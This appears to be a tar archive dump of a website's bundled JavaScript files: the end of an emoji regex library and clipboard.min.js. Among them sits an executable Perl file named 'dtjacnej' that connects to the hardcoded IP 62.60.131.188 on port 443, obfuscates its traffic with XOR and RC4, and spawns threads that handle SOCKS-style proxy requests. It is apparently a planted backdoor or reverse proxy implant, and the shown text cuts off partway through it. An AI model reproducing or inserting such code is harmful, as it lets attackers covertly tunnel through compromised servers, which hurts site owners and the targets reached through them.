0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]|\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c[\udffc-\udfff]|\ud83e\udef1\ud83c\udffc\u200d\ud83e\udef2\ud83c[\udffb\udffd-\udfff]|\ud83e\udef1\ud83c\udffd\u200d\ud83e\udef2\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]|\ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1|\ud83d\udc6b\ud83c[\udffb-\udfff]|\ud83d\udc6c\ud83c[\udffb-\udfff]|\ud83d\udc6d\ud83c[\udffb-\udfff]|\ud83d\udc8f\ud83c[\udffb-\udfff]|\ud83d\udc91\ud83c[\udffb-\udfff]|\ud83e\udd1d\ud83c[\udffb-\udfff]|\ud83d[\udc6b-\udc6d\udc8f\udc91]|\ud83e\udd1d)|(?:\ud83d[\udc68\udc69]|\ud83e\uddd1)(?:\ud83c[\udffb-\udfff])?\u200d(?:\u2695\ufe0f|\u2696\ufe0f|\u2708\ufe0f|\ud83c[\udf3e\udf73\udf7c\udf84\udf93\udfa4\udfa8\udfeb\udfed]|\ud83d[\udcbb\udcbc\udd27\udd2c\ude80\ude92]|\ud83e[\uddaf-\uddb3\uddbc\uddbd])(?:\u200d\u27a1\ufe0f)?|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f(?:\u200d\u27a1\ufe0f)?)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc70\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddcd-\uddcf\uddd4\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f(?:\u200d\u27a1\ufe0f)?|(?:\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83e\uddd1\u200d\ud83e\uddd1\u200d\ud83e\uddd2\u200d\ud83e\uddd2|\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83e\uddd1\u200d\ud83e\uddd1\u200d\ud83e\uddd2|\ud83e\uddd1\u200d\ud83e\uddd2\u200d\ud83e\uddd2|\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83d\ude36\u200d\ud83c\udf2b\ufe0f|\u26d3\ufe0f\u200d\ud83d\udca5|\u2764\ufe0f\u200d\ud83d\udd25|\u2764\ufe0f\u200d\ud83e\ude79|\ud83c\udf44\u200d\ud83d\udfeb|\ud83c\udf4b\u200d\ud83d\udfe9|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc15\u200d\ud83e\uddba|\ud83d\udc26\u200d\ud83d\udd25|\ud83d\udc3b\u200d\u2744\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc6f\u200d\u2640\ufe0f|\ud83d\udc6f\u200d\u2642\ufe0f|\ud83d\ude2e\u200d\ud83d\udca8|\ud83d\ude35\u200d\ud83d\udcab|\ud83d\ude42\u200d\u2194\ufe0f|\ud83d\ude42\u200d\u2195\ufe0f|\ud83e\udd3c\u200d\u2640\ufe0f|\ud83e\udd3c\u200d\u2642\ufe0f|\ud83e\uddd1\u200d\ud83e\uddd2|\ud83e\uddde\u200d\u2640\ufe0f|\ud83e\uddde\u200d\u2642\ufe0f|\ud83e\udddf\u200d\u2640\ufe0f|\ud83e\udddf\u200d\u2642\ufe0f|\ud83d\udc08\u200d\u2b1b|\ud83d\udc26\u200d\u2b1b)|[#*0-9]\ufe0f?\u20e3|(?:[\xa9\xae\u2122\u265f]\ufe0f)|(?:\ud83c[\udc04\udd70\udd71\udd7e\udd7f\ude02\ude1a\ude2f\ude37\udf21\udf24-\udf2c\udf36\udf7d\udf96\udf97\udf99-\udf9b\udf9e\udf9f\udfcd\udfce\udfd4-\udfdf\udff3\udff5\udff7]|\ud83d[\udc3f\udc41\udcfd\udd49\udd4a\udd6f\udd70\udd73\udd76-\udd79\udd87\udd8a-\udd8d\udda5\udda8\uddb1\uddb2\uddbc\uddc2-\uddc4\uddd1-\uddd3\udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u2600-\u2604\u260e\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262a\u262e\u262f\u2638-\u263a\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267b\u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26a7\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f|(?!\ufe0e))|(?:(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75\udd90]|\ud83e\udef0|[\u261d\u26f7\u26f9\u270c\u270d])(?:\ufe0f|(?!\ufe0e))|(?:\ud83c\udfc3|\ud83d\udeb6|\ud83e\uddce)(?:\ud83c[\udffb-\udfff])?(?:\u200d\u27a1\ufe0f)?|(?:\ud83c[\udf85\udfc2\udfc4\udfc7\udfca]|\ud83d[\udc42\udc43\udc46-\udc50\udc66-\udc69\udc6e\udc70-\udc78\udc7c\udc81-\udc83\udc85-\udc87\udcaa\udd7a\udd95\udd96\ude45-\ude47\ude4b-\ude4f\udea3\udeb4\udeb5\udec0\udecc]|\ud83e[\udd0c\udd0f\udd18-\udd1c\udd1e\udd1f\udd26\udd30-\udd39\udd3d\udd3e\udd77\uddb5\uddb6\uddb8\uddb9\uddbb\uddcd\uddcf\uddd1-\udddd\udec3-\udec5\udef1-\udef8]|[\u270a\u270b]))(?:\ud83c[\udffb-\udfff])?|(?:\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\uddf4\uddf6-\uddfa\uddfc\uddfd\uddff]|\ud83c\udde7\ud83c[\udde6\udde7\udde9-\uddef\uddf1-\uddf4\uddf6-\uddf9\uddfb\uddfc\uddfe\uddff]|\ud83c\udde8\ud83c[\udde6\udde8\udde9\uddeb-\uddee\uddf0-\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7\udde9-\uddee\uddf1-\uddf3\uddf5-\uddfa\uddfc\uddfe]|\ud83c\udded\ud83c[\uddf0\uddf2\uddf3\uddf7\uddf9\uddfa]|\ud83c\uddee\ud83c[\udde8-\uddea\uddf1-\uddf4\uddf6-\uddf9]|\ud83c\uddef\ud83c[\uddea\uddf2\uddf4\uddf5]|\ud83c\uddf0\ud83c[\uddea\uddec-\uddee\uddf2\uddf3\uddf5\uddf7\uddfc\uddfe\uddff]|\ud83c\uddf1\ud83c[\udde6-\udde8\uddee\uddf0\uddf7-\uddfb\uddfe]|\ud83c\uddf2\ud83c[\udde6\udde8-\udded\uddf0-\uddff]|\ud83c\uddf3\ud83c[\udde6\udde8\uddea-\uddec\uddee\uddf1\uddf4\uddf5\uddf7\uddfa\uddff]|\ud83c\uddf4\ud83c\uddf2|\ud83c\uddf5\ud83c[\udde6\uddea-\udded\uddf0-\uddf3\uddf7-\uddf9\uddfc\uddfe]|\ud83c\uddf6\ud83c\udde6|\ud83c\uddf7\ud83c[\uddea\uddf4\uddf8\uddfa\uddfc]|\ud83c\uddf8\ud83c[\udde6-\uddea\uddec-\uddf4\uddf7-\uddf9\uddfb\uddfd-\uddff]|\ud83c\uddf9\ud83c[\udde6\udde8\udde9\uddeb-\udded\uddef-\uddf4\uddf7\uddf9\uddfb\uddfc\uddff]|\ud83c\uddfa\ud83c[\udde6\uddec\uddf2\uddf3\uddf8\uddfe\uddff]|\ud83c\uddfb\ud83c[\udde6\udde8\uddea\uddec\uddee\uddf3\uddfa]|\ud83c\uddfc\ud83c[\uddeb\uddf8]|\ud83c\uddfd\ud83c\uddf0|\ud83c\uddfe\ud83c[\uddea\uddf9]|\ud83c\uddff\ud83c[\udde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\udff8-\udfff]|\ud83d[\udc00-\udc3e\udc40\udc44\udc45\udc51-\udc65\udc6a\udc6f\udc79-\udc7b\udc7d-\udc80\udc84\udc88-\udc8e\udc90\udc92-\udca9\udcab-\udcfc\udcff-\udd3d\udd4b-\udd4e\udd50-\udd67\udda4\uddfb-\ude44\ude48-\ude4a\ude80-\udea2\udea4-\udeb3\udeb7-\udebf\udec1-\udec5\uded0-\uded2\uded5-\uded7\udedc-\udedf\udeeb\udeec\udef4-\udefc\udfe0-\udfeb\udff0]|\ud83e[\udd0d\udd0e\udd10-\udd17\udd20-\udd25\udd27-\udd2f\udd3a\udd3c\udd3f-\udd45\udd47-\udd76\udd78-\uddb4\uddb7\uddba\uddbc-\uddcc\uddd0\uddde-\uddff\ude70-\ude7c\ude80-\ude89\ude8f-\udec2\udec6\udece-\udedc\udedf-\udee9]|[\u23e9-\u23ec\u23f0\u23f3\u267e\u26ce\u2705\u2728\u274c\u274e\u2753-\u2755\u2795-\u2797\u27b0\u27bf\ue50a])|\ufe0f/g,f=/\uFE0F/g,c=String.fromCharCode(8205),t=/[&<>'"]/g,m=/^(?:iframe|noframes|noscript|script|select|style|textarea)$/,e=String.fromCharCode;return h;function x(d,u){return document.createTextNode(u?d.replace(f,""):d)}function b(d,u){return"".concat(u.base,u.size,"/",d,u.ext)}function N(d){return o(d.indexOf(c)<0?d.replace(f,""):d)}function r(d){return u[d]}function a(){return null}function n(d,u){return String(d).replace(g,u)}function o(d,u){for(var f=[],c=0,e=0,b=0;b<d.length;)c=d.charCodeAt(b++),e?(f.push((65536+(e-55296<<10)+(c-56320)).toString(16)),e=0):55296<=c&&c<=56319?e=c:f.push(c.toString(16));return f.join(u||"-")}}(); clipboard.min.js 0000644 00000021461 15111757752 0007642 0 ustar 00 /*! This file is auto-generated */ !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.ClipboardJS=e():t.ClipboardJS=e()}(this,function(){return n={686:function(t,e,n){"use strict";n.d(e,{default:function(){return b}});var e=n(279),e=n.n(e),o=n(370),i=n.n(o),o=n(817),r=n.n(o);function u(t){try{document.execCommand(t)}catch(t){}}var c=function(t){t=r()(t);return u("cut"),t};function a(t,e){t=t,o="rtl"===document.documentElement.getAttribute("dir"),(n=document.createElement("textarea")).style.fontSize="12pt",n.style.border="0",n.style.padding="0",n.style.margin="0",n.style.position="absolute",n.style[o?"right":"left"]="-9999px",o=window.pageYOffset||document.documentElement.scrollTop,n.style.top="".concat(o,"px"),n.setAttribute("readonly",""),n.value=t;var n,o=n,t=(e.container.appendChild(o),r()(o));return u("copy"),o.remove(),t}var l=function(t){var e=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{container:document.body},n="";return"string"==typeof t?n=a(t,e):t instanceof HTMLInputElement&&!["text","search","url","tel","password"].includes(null==t?void 0:t.type)?n=a(t.value,e):(n=r()(t),u("copy")),n};function f(t){return(f="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}var s=function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:{},e=t.action,e=void 0===e?"copy":e,n=t.container,o=t.target,t=t.text;if("copy"!==e&&"cut"!==e)throw new Error('Invalid "action" value, use either "copy" or "cut"');if(void 0!==o){if(!o||"object"!==f(o)||1!==o.nodeType)throw new Error('Invalid "target" value, use a valid Element');if("copy"===e&&o.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if("cut"===e&&(o.hasAttribute("readonly")||o.hasAttribute("disabled")))throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes')}return t?l(t,{container:n}):o?"cut"===e?c(o):l(o,{container:n}):void 0};function p(t){return(p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function d(t,e){for(var n=0;n<e.length;n++){var o=e[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,o.key,o)}}function y(t,e){return(y=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function h(n){var o=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}();return function(){var t,e=v(n),e=(t=o?(t=v(this).constructor,Reflect.construct(e,arguments,t)):e.apply(this,arguments),this);if(!t||"object"!==p(t)&&"function"!=typeof t){if(void 0!==e)return e;throw new ReferenceError("this hasn't been initialised - super() hasn't been called")}return t}}function v(t){return(v=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function m(t,e){t="data-clipboard-".concat(t);if(e.hasAttribute(t))return e.getAttribute(t)}var b=function(t){var e=r;if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&y(e,t);var n,o=h(r);function r(t,e){var n;if(this instanceof r)return(n=o.call(this)).resolveOptions(e),n.listenClick(t),n;throw new TypeError("Cannot call a class as a function")}return e=r,t=[{key:"copy",value:function(t){var e=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{container:document.body};return l(t,e)}},{key:"cut",value:function(t){return c(t)}},{key:"isSupported",value:function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:["copy","cut"],t="string"==typeof t?[t]:t,e=!!document.queryCommandSupported;return t.forEach(function(t){e=e&&!!document.queryCommandSupported(t)}),e}}],(n=[{key:"resolveOptions",value:function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:{};this.action="function"==typeof t.action?t.action:this.defaultAction,this.target="function"==typeof t.target?t.target:this.defaultTarget,this.text="function"==typeof t.text?t.text:this.defaultText,this.container="object"===p(t.container)?t.container:document.body}},{key:"listenClick",value:function(t){var e=this;this.listener=i()(t,"click",function(t){return e.onClick(t)})}},{key:"onClick",value:function(t){var e=t.delegateTarget||t.currentTarget,t=this.action(e)||"copy",n=s({action:t,container:this.container,target:this.target(e),text:this.text(e)});this.emit(n?"success":"error",{action:t,text:n,trigger:e,clearSelection:function(){e&&e.focus(),window.getSelection().removeAllRanges()}})}},{key:"defaultAction",value:function(t){return m("action",t)}},{key:"defaultTarget",value:function(t){t=m("target",t);if(t)return document.querySelector(t)}},{key:"defaultText",value:function(t){return m("text",t)}},{key:"destroy",value:function(){this.listener.destroy()}}])&&d(e.prototype,n),t&&d(e,t),r}(e())},828:function(t){var e;"undefined"==typeof Element||Element.prototype.matches||((e=Element.prototype).matches=e.matchesSelector||e.mozMatchesSelector||e.msMatchesSelector||e.oMatchesSelector||e.webkitMatchesSelector),t.exports=function(t,e){for(;t&&9!==t.nodeType;){if("function"==typeof t.matches&&t.matches(e))return t;t=t.parentNode}}},438:function(t,e,n){var u=n(828);function i(t,e,n,o,r){var i=function(e,n,t,o){return function(t){t.delegateTarget=u(t.target,n),t.delegateTarget&&o.call(e,t)}}.apply(this,arguments);return t.addEventListener(n,i,r),{destroy:function(){t.removeEventListener(n,i,r)}}}t.exports=function(t,e,n,o,r){return"function"==typeof t.addEventListener?i.apply(null,arguments):"function"==typeof n?i.bind(null,document).apply(null,arguments):("string"==typeof t&&(t=document.querySelectorAll(t)),Array.prototype.map.call(t,function(t){return i(t,e,n,o,r)}))}},879:function(t,n){n.node=function(t){return void 0!==t&&t instanceof HTMLElement&&1===t.nodeType},n.nodeList=function(t){var e=Object.prototype.toString.call(t);return void 0!==t&&("[object NodeList]"===e||"[object HTMLCollection]"===e)&&"length"in t&&(0===t.length||n.node(t[0]))},n.string=function(t){return"string"==typeof t||t instanceof String},n.fn=function(t){return"[object Function]"===Object.prototype.toString.call(t)}},370:function(t,e,n){var l=n(879),f=n(438);t.exports=function(t,e,n){if(!t&&!e&&!n)throw new Error("Missing required arguments");if(!l.string(e))throw new TypeError("Second argument must be a String");if(!l.fn(n))throw new TypeError("Third argument must be a Function");if(l.node(t))return c=e,a=n,(u=t).addEventListener(c,a),{destroy:function(){u.removeEventListener(c,a)}};if(l.nodeList(t))return o=t,r=e,i=n,Array.prototype.forEach.call(o,function(t){t.addEventListener(r,i)}),{destroy:function(){Array.prototype.forEach.call(o,function(t){t.removeEventListener(r,i)})}};if(l.string(t))return f(document.body,t,e,n);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList");var o,r,i,u,c,a}},817:function(t){t.exports=function(t){var e,n;return t="SELECT"===t.nodeName?(t.focus(),t.value):"INPUT"===t.nodeName||"TEXTAREA"===t.nodeName?((e=t.hasAttribute("readonly"))||t.setAttribute("readonly",""),t.select(),t.setSelectionRange(0,t.value.length),e||t.removeAttribute("readonly"),t.value):(t.hasAttribute("contenteditable")&&t.focus(),e=window.getSelection(),(n=document.createRange()).selectNodeContents(t),e.removeAllRanges(),e.addRange(n),e.toString())}},279:function(t){function e(){}e.prototype={on:function(t,e,n){var o=this.e||(this.e={});return(o[t]||(o[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){var o=this;function r(){o.off(t,r),e.apply(n,arguments)}return r._=e,this.on(t,r,n)},emit:function(t){for(var e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),o=0,r=n.length;o<r;o++)n[o].fn.apply(n[o].ctx,e);return this},off:function(t,e){var n=this.e||(this.e={}),o=n[t],r=[];if(o&&e)for(var i=0,u=o.length;i<u;i++)o[i].fn!==e&&o[i].fn._!==e&&r.push(o[i]);return r.length?n[t]=r:delete n[t],this}},t.exports=e,t.exports.TinyEmitter=e}},r={},o.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return o.d(e,{a:e}),e},o.d=function(t,e){for(var n in e)o.o(e,n)&&!o.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},o.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},o(686).default;function o(t){var e;return(r[t]||(e=r[t]={exports:{}},n[t](e,e.exports,o),e)).exports}var n,r}); dtjacnej 0000755 00000022033 15111757752 0006267 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.188'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 